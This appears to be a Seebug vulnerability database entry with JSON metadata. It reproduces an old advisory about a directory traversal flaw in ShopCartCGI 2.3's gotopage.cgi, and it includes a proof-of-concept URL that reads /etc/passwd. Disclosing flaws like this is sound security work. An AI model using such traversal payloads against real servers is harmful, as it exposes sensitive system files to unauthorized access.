ID SSV:77455 Type seebug Reporter Root Modified 2014-07-01T00:00:00
Description
No description provided by source.
source: http://www.securityfocus.com/bid/9670/info
It has been reported that ShopcartCGI is prone to a remote file disclosure vulnerability. This issue is due to insufficient validation of user-supplied input.
Upon successful exploitation of this issue an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.
http://www.example.com/directory/gotopage.cgi?13686+/../../../../../../../../../../../../../../../../etc/passwd
{"lastseen": "2017-11-19T15:42:28", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "cve,poc", "enchantments": {"score": {"value": -0.3, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.3}, "href": "https://www.seebug.org/vuldb/ssvid-77455", "references": [], "enchantments_done": [], "id": "SSV:77455", "title": "ShopCartCGI 2.3 gotopage.cgi Traversal Arbitrary File Access", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 3, "sourceData": "\n source: http://www.securityfocus.com/bid/9670/info\r\n\r\nIt has been reported that ShopcartCGI is prone to a remote file disclosure vulnerability. This issue is due to insufficient validation of user-supplied input.\r\n\r\nUpon successful exploitation of this issue an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.\r\n\r\nhttp://www.example.com/directory/gotopage.cgi?13686+/../../../../../../../../../../../../../../../../etc/passwd\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-77455", "type": "seebug", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645399052}}